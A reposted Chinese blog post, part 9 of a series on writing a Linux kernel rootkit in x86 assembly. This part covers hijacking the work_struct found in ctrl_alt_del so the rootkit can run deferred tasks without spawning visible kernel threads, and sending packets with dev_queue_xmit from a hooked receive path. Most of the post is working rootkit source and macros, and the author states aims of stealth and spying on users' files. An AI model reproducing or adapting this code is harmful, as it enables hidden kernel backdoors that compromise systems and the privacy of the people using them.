您的位置:首页 > 运维架构 > Linux

rookit for linux 9.发送skb---使用工作队列

2008-11-15 17:35 477 查看
搞了一天,终于能发送skb了。不是这东西难搞,是汇编底子还是不行啊,大错不犯小错不断。这一个小错,那个一小错,一个小错调一个小时,一下一天就过去了。

虽然调试的时候很恼火,不过还是乐此不疲地写着汇编。就像一句名言说过“世界上有两类语言,有一些语言天天被人骂,有一些语言没有人用”。汇编就是属于这类语言。

好了,回忆一下上次是怎么接收skb的?对了,inline hook 了netif_receive_skb。那我们在 inline hook 中的代码也是跟 netif_receive_skb 一个上下文的-----软中断。这个软中断有啥问题呢?没错,问题可大了,软中断里的操作是原子的,不能调度,不能睡眠,不能停留太长时间。

但我们的rootkit是不愿意接受这个现实的,我们要进行的操作可多了,要读文件,写文件,还要偷窥别人照片。这些操作里必然有调度,睡眠。

咋的办?《linux 设备驱动程序》给出了答案---工作队列。工作队列的上下文是符合我们的rootkit的要求的。

对比了下代码,2.6.18 ~ 2.6.24 间 work_struct 这个数据结构发生了剧烈变化。在c语言里,用一个宏 DECLARE_WORK 就能声明一个工作队列。

这可苦了我们写汇编的,多少个版本啊,我们能一个一个地支持吗?当然不能,那是sb的想法。

我们的处理方法也是利用大杀器来做。

我们注意到一个角落里的函数 ctrl_alt_del 。看这函数的名字就知道它是几百年都不会被调用一次的函数了。

void ctrl_alt_del(void)

{

static DECLARE_WORK(cad_work, deferred_cad);

if (C_A_D)

schedule_work(&cad_work);

else

kill_cad_pid(SIGINT, 1);

}

关键不是这个,关键是它的开头有一个初始化好了的 work_struct 结构,我们直接把它复制到我们自己的缓冲区了就能用了。

反汇编看看:

0: a1 f0 a5 34 c0 mov 0xc034a5f0,%eax

5: 85 c0 test %eax,%eax

7: 74 0a je 0x13

9: b8 9c a6 34 c0 mov $0xc034a69c,%eax

e: e9 5d 2d 00 00 jmp 0x2d70

13: a1 44 4b 3c c0 mov 0xc03c4b44,%eax

18: b9 01 00 00 00 mov $0x1,%ecx

1d: ba 02 00 00 00 mov $0x2,%edx

22: e9 19 dd ff ff jmp 0xffffdd40

27: 89 f6 mov %esi,%esi

29: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi

第九行就是把 cad_work 这个参数传给 schedule_work 。然后调用schedule_work 。

我们直接用大杀器搜索操作码为 0xb8 的第一条指令就是了。

搜到以后把 cad_work 复制到我们自己的缓冲区里。

处理两个细节:

1.把 work_struct.entry 这个 list_head 设为空。搜索整个数据结构里内容等于地址的字段就行了,linux里的链表就是这样。

2.找到 work_struct.func 这个字段的偏移。只要搜索整个数据结构里内容等于deferred_cad的地址的字段就行了。

搞到这个 work_struct 之后,我们就能使用自己的工作队列了。使用的时候只需要把 work_struct.func 字段设为自己的函数的地址。然后调用 schedule_work 即可。

schedule_work 这个函数呢,是把参数 work_struct 挂在keventd_wq这个内核共享的工作队列里执行。

有人说“为啥我们不自己创建一个工作队列呢?”不行,工作队列的是用内核线程来实现的。而创建一个工作队列时,同时会创建 n 个内核线程,n 就等于你的cpu数量。而内核线程,在 bash 上用 ps -aux 这命令就能看到。你这样就是在捅马蜂窝啊!

所以解决了这些细节问题。我们就可以这样做了:

在接收到数据包的时候,把数据包的内容复到新申请的缓冲区里,然后调用 schedule_work 把发包的函数挂在共享的队列里,等待被执行。

怎么发包呢?

最终,网络层的函数会调用 dev_queue_xmit 这个函数发包。这个函数的内部可复杂了,一下lock一下unlock,还调用qdisc啥的。所以我们还是直接调用它算了。要注意的是,这个函数里会把 skb 克隆给 ptypes_all 上的嗅探器,每人一份。不过我们不怕,如果有嗅探器,我们早就把它hook了,如果没有,那就算了。

直接调用dev_queue_xmit这方法不是最好的,不过我尝试了直接调用 net_device->dev_hard_start_xmit 发包,结果不行。可能是没有解决同步的问题。

所以我们现在可以发包了!

贴代码贴代码

处理 work_struct 部分:

struct_work_struct: .fill 0x100

work_struct.func: .fill 4

schedule_work: .fill 4

// void kthread_init();

kthread_init:

#define retcode 0xc

PUSH_ALL

subl $0x10, %esp

movl $0, retcode(%esp)

GET_STR("schedule_work", %eax)

movl $13, %edx

call ksym_lookup

testl %eax, %eax

jz kthread_init_out_failed

GET_ADDR(schedule_work, %edx)

movl %eax, (%edx)

GET_STR("ctrl_alt_del", %eax)

movl $12, %edx

call ksym_lookup

testl %eax, %eax

jz kthread_init_out_failed

movl %eax, %esi

leal 0x100(%esi), %edi

1: movl %esi, %eax

GET_ADDR(struct_dism, %edx)

call xde_dism

testl %eax, %eax

jz kthread_init_out_failed

movl %eax, %ebp

movb dism_opcode(%edx), %al

cmpb $0xb8, %al

jz 3f

addl %ebp, %esi

cmpl %edi, %esi

jl 1b

3: movl 1(%esi), %esi

movl %esi, %ebp

GET_ADDR(struct_work_struct, %edi)

movl $0x100, %ecx

cld; rep movsb

GET_STR("deferred_cad", %eax)

movl $12, %edx

call ksym_lookup

testl %eax, %eax

jz kthread_init_out_failed

GET_ADDR(struct_work_struct, %esi)

movl $0x100, %ecx

4: cmpl %eax, (%esi)

jz 5f

cmpl %ebp, (%esi)

jnz 6f

movl %esi, (%esi)

movl %esi, 4(%esi)

6: incl %esi

incl %ebp

loop 4b

jmp kthread_init_out_failed

5: GET_ADDR(struct_work_struct, %edi)

subl %edi, %esi

GET_ADDR(work_struct.func, %eax)

movl %esi, (%eax)

#ifdef _DEBUG_

movl %edi, 4(%esp)

movl %esi, 8(%esp)

DPRINT("<3>struct_work_struct %lx; work_struct.func %lx/n")

#endif

2:

kthread_init_out:

movl retcode(%esp), %eax

addl $0x10, %esp

POP_ALL

ret

kthread_init_out_failed:

movl $1, retcode(%esp)

jmp kthread_init_out

#undef retcode

接收skb部分:

// data_recv = __kmalloc(skb->len + 8, GFP_ATOMIC);

GET_STRUCT_VAL32(%esi, sk_buff.len, %ecx)

movl %ecx, %edi

leal 8(%ecx), %eax

movl $0x20, %edx

GET_VAL32(__kmalloc, %ebp)

call *%ebp

testl %eax, %eax

jz his_out

movl %eax, %ebx

SET_VAL32(data_recv, %ebx)

// put skb->len, skb->dev at the begining of data_recv

movl %edi, (%ebx)

GET_STRUCT_VAL32(%esi, sk_buff.dev, %eax)

movl %eax, 4(%ebx)

// memcpy(data_recv + 8, skb->data - 14, skb->len);

movl %edi, %ecx

leal 8(%ebx), %edi

GET_STRUCT_VAL32(%esi, sk_buff.data, %ebx)

leal -14(%ebx), %esi

cld; rep movsb

// struct_work_struct.func = thread_recv;

GET_ADDR(thread_recv, %ebx)

GET_ADDR(struct_work_struct, %ecx)

SET_STRUCT_VAL32(%ecx, work_struct.func, %ebx)

// schedule_work(struct_work_struct);

GET_VAL32(schedule_work, %ebp)

movl %ecx, %eax

call *%ebp

发送skb部分:

// void thread_recv(void *data_recv);

thread_recv:

PUSH_ALL

subl $0x10, %esp

#ifdef _DEBUG_

DPRINT("<3>our pack/n")

#endif

// skb = __netdev_alloc_skb(dev, 123, GFP_ATOMIC);

GET_VAL32(data_recv, %eax)

leal 0x8(%eax), %edi

movl $123, %edx

movl 4(%eax), %eax

movl $0x20, %ecx

GET_VAL32(__netdev_alloc_skb, %ebp)

call *%ebp

testl %eax, %eax

jz thread_recv_out

movl %eax, %esi

// skb->len = 123;

SET_STRUCT_VAL32(%esi, sk_buff.len, $123)

// skb->tail = skb->end;

GET_STRUCT_VAL32(%esi, sk_buff.end, %ebx)

SET_STRUCT_VAL32(%esi, sk_buff.tail, %ebx)

// memcpy(skb->data, data_recv + 0x8 + 6, 6);

GET_STRUCT_VAL32(%esi, sk_buff.data, %eax)

movl 6(%edi), %ebx

movw 10(%edi), %cx

movl %ebx, (%eax)

movw %cx, 4(%eax)

// memcpy(skb->data + 6, data_recv + 0x8, 6);

movl (%edi), %ebx

movw 4(%edi), %cx

movl %ebx, 6(%eax)

movw %cx, 10(%eax)

// memcpy(skb->data + 14, "/x12/x34/x56/x78", 4);

movl $0x12345678, 14(%eax)

// dev_queue_xmit(skb);

GET_VAL32(dev_queue_xmit, %ebp)

movl %esi, %eax

call *%ebp

#ifdef _DEBUG_

movl %eax, 4(%esp)

DPRINT("<3>sent %lx/n")

#endif

thread_recv_out:

addl $0x10, %esp

POP_ALL

ret

新定义的宏:

#define EXPORT_LABEL(label) /

.globl label; label:

#define GET_ADDR(label, reg) /

call 999f; /

999: popl reg; /

subl $(999b - label), reg

#define GET_VAL32(label, reg) /

GET_ADDR(label, reg); /

movl (reg), reg;

#define SET_VAL32(label, val) /

GET_ADDR(label, %eax); /

movl val, (%eax);

#define GET_STR(str, reg) /

call 1111f; /

.asciz str; /

1111: popl reg

#define DPRINT(fmt) /

GET_ADDR(printk, %eax); /

movl (%eax), %eax; /

GET_STR(fmt, %edx); /

movl %edx, (%esp); /

call *%eax;

#define GET_STRUCT_VAL32(base, offset, reg) /

GET_VAL32(offset, reg); /

movl 0(base, reg, 1), reg;

#define SET_STRUCT_VAL32(base, offset, val) /

GET_VAL32(offset, %eax); /

movl val, 0(base, %eax, 1);

#define PUSH_ALL /

pushl %ebx; /

pushl %ecx; /

pushl %edx; /

pushl %esi; /

pushl %edi; /

pushl %ebp;

#define POP_ALL /

popl %ebp; /

popl %edi; /

popl %esi; /

popl %edx; /

popl %ecx; /

popl %ebx;

看看效果!

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: